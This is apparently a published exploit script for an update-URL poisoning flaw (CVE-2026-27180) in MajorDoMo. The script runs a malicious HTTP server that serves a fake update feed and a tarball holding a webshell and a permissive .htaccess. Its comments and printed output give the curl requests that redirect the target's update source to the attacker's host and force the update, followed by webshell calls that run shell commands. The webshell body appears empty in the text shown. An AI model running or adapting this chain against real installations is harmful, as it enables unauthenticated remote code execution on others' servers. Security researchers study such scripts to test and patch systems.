#!/usr/bin/env python3 # Exploit Title: MajorDoMo unauthenticated update URL poisoning leading to RCE # CVE: CVE-2026-27180 # Date: 2026-02-19 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://github.com/sergejey/majordomo # Software Link: https://github.com/sergejey/majordomo # Vulnerable: Yes # Tested on: MajorDoMo versions before commit that added authentication check (pre-PR #1177) # Category: Remote Code Execution # Platform: PHP / Linux # Exploit Type: Remote # Description: # Exploits CWE-494 (Download of Code Without Integrity Check) in MajorDoMo. # Allows unauthenticated attacker to poison the update source URL and force # an update that downloads and extracts attacker-controlled tar.gz directly # into the web root, achieving remote code execution. # # Usage: # python3 exploit.py --lhost --lport # # Examples: # python3 exploit.py http://192.168.10.50:80 --lhost 192.168.1.100 --lport 8080 # python3 exploit.py http://10.10.10.123 --lhost 192.168.5.77 --lport 9001 # # Options: # --lhost Attacker IP where the malicious server will listen # --lport Port for the malicious HTTP server (default: 8080) # # Notes: # - The script starts a malicious HTTP server that serves: # /master.xml → fake Atom feed # /archive/master.tar.gz malicious tarball with webshell # - After running, manually trigger the two requests on the target or wait for auto-update # - Webshell will appear as /poc.php on the target # # How to Use # # Step 1: Run this script on your attacking machine # Step 2: Wait for the server to start and note the displayed URLs # Step 3: On the vulnerable target execute (via browser or curl): # http://target/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://: # http://target/objects/?module=saverestore&mode=force_update # Step 4: Wait 10–90 seconds for the update process to finish # Step 5: Access the webshell: # http://target/poc.php?pass=ChangeMe123&cmd=id # http://target/poc.php?pass=ChangeMe123&cmd=whoami # http://target/poc.php?pass=ChangeMe123&cmd=uname%20-a import http.server import socketserver import io import tarfile import gzip from datetime import datetime import argparse import threading import time import sys PASSWORD = "ChangeMe123" WEBSHELL_CODE = f''' ''' HTACCESS = ''' php_flag engine on AddType application/x-httpd-php .php .phtml AddHandler php-script .php .phtml Order allow,deny Allow from all ''' def build_malicious_tar_gz(): fileobj = io.BytesIO() with gzip.GzipFile(fileobj=fileobj, mode='wb') as gz: with tarfile.open(fileobj=gz, mode='w|gz') as tar: info = tarfile.TarInfo("poc.php") info.size = len(WEBSHELL_CODE.encode()) info.mtime = int(datetime.now().timestamp()) info.mode = 0o644 tar.addfile(info, io.BytesIO(WEBSHELL_CODE.encode())) info = tarfile.TarInfo(".htaccess") info.size = len(HTACCESS.encode()) info.mtime = int(datetime.now().timestamp()) info.mode = 0o644 tar.addfile(info, io.BytesIO(HTACCESS.encode())) fileobj.seek(0) return fileobj.read() class MaliciousHandler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, tarball=None, **kwargs): self.tarball = tarball super().__init__(*args, **kwargs) def do_GET(self): if self.path == "/master.xml": feed = f''' MajorDoMo Security Update {datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")} urn:update:20260219 {datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")} Update 2026-02-19 ''' self.send_response(200) self.send_header("Content-type", "application/atom+xml") self.end_headers() self.wfile.write(feed.encode()) elif self.path == "/archive/master.tar.gz": self.send_response(200) self.send_header("Content-type", "application/gzip") self.send_header("Content-Length", str(len(self.tarball))) self.end_headers() self.wfile.write(self.tarball) else: self.send_response(404) self.end_headers() self.wfile.write(b"Not Found") def log_message(self, format, *args): return def start_server(lhost, lport, tarball): handler = lambda *args, **kwargs: MaliciousHandler(*args, tarball=tarball, **kwargs) with socketserver.TCPServer((lhost, lport), handler) as httpd: httpd.lhost = lhost httpd.lport = lport print(f"[+] Malicious server listening on {lhost}:{lport}") print(f" Feed : http://{lhost}:{lport}/master.xml") print(f" Tarball: http://{lhost}:{lport}/archive/master.tar.gz") print() print(" Poison command (run on target):") print(f" curl 'http:///objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://{lhost}:{lport}'") print(" Trigger command:") print(f" curl 'http:///objects/?module=saverestore&mode=force_update'") print() print(f" After update, test webshell:") print(f" http:///poc.php?pass={PASSWORD}&cmd=id") try: httpd.serve_forever() except KeyboardInterrupt: print("\n[+] Server stopped") def main(): parser = argparse.ArgumentParser(description="CVE-2026-27180 MajorDoMo Update Poisoning Exploit Server") parser.add_argument("target", help="Target MajorDoMo URL (e.g. http://192.168.1.50:80)") parser.add_argument("--lhost", required=True, help="Your IP address for malicious server") parser.add_argument("--lport", type=int, default=8080, help="Port for malicious server (default: 8080)") args = parser.parse_args() tarball = build_malicious_tar_gz() server_thread = threading.Thread( target=start_server, args=(args.lhost, args.lport, tarball), daemon=True ) server_thread.start() print("[+] Server thread started. Press Ctrl+C to stop.") print("[+] Keep this running while you poison and trigger the target.\n") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[+] Shutting down...") if __name__ == "__main__": main()